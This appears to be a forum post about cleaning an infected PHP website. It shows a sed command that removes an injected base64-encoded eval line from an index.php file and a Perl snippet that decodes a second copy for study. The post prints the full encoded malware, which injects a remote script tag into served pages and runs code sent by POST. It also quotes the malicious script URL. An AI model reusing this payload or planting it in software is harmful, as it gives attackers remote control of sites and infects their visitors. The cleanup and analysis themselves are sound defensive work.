SH Script for deleting malicious code

+ read i
+ sed 's|<?php eval(base64_decode(aWYoIWlzc2V0KCR1eHc2MSkpe2Z1bmN0aW9uIHV4dzYoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzRmxibVJwYkM1elpTOXdhWEpoYm5Ob1lYSXZhVzVrWlhoMUxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiB1eHc2MigkYSwkYiwkYywkZCl7Z2xvYmFsICR1eHc2MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkdXh3NjEpKWNhbGxfdXNlcl9mdW5jKCR1eHc2MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd1eHc2JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3V4dzYnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdXh3Nmw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3V4dzYyJykpIT0ndXh3NjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==)); ?>||g' ./public_html/twitter/index.php
+ mv ./public_html/twitter/index.php.tmp ./public_html/twitter/index.php
                                              

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#!/opt/csw/bin/perl -w
use MIME::Base64; 
$encoded = "aWYoIWlzc2V0KCRreXQzMSkpe2Z1bmN0aW9uIGt5dDMoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaW
YoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7
MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl
9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihw
cmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucH
JlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMlJwWlhvdWJtRjBiUzV5ZFM5
aGRXUnBieTlzWlhabGJERmZjM1ZpWDNKdmRXNWtMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLi
dcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dXJuJHM7fWZ1bmN0aW9uIGt5dDMyKCRhLCRiLCRjLCRkKXtnbG9iYWwka3l0MzE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlz
dHMoJGt5dDMxKSljYWxsX3VzZXJfZnVuYygka3l0MzEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2t5dDMnKXJldHVybjtlbHNlaWYoJG
E9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09
b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdreXQzJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JG
t5dDNsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdreXQzMicpKSE9J2t5dDMyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs/Pg=="; 
$decoded = MIME::Base64::decode($encoded);
print $decoded; 

If you run the above and decode the base64 string, you'll get some code that tries to replace iframe, body and script tags.  As to what exactly it's doing, it's too hectic to read.  Maybe other experts have a better idea of what it's trying to do. 
However, I did uncover the following URL in the script.  I don't know what's involved, Google search turned up nothing: 
<script src=http://diez.natm.ru/audio/level1_sub_round.php> </script>

                                              

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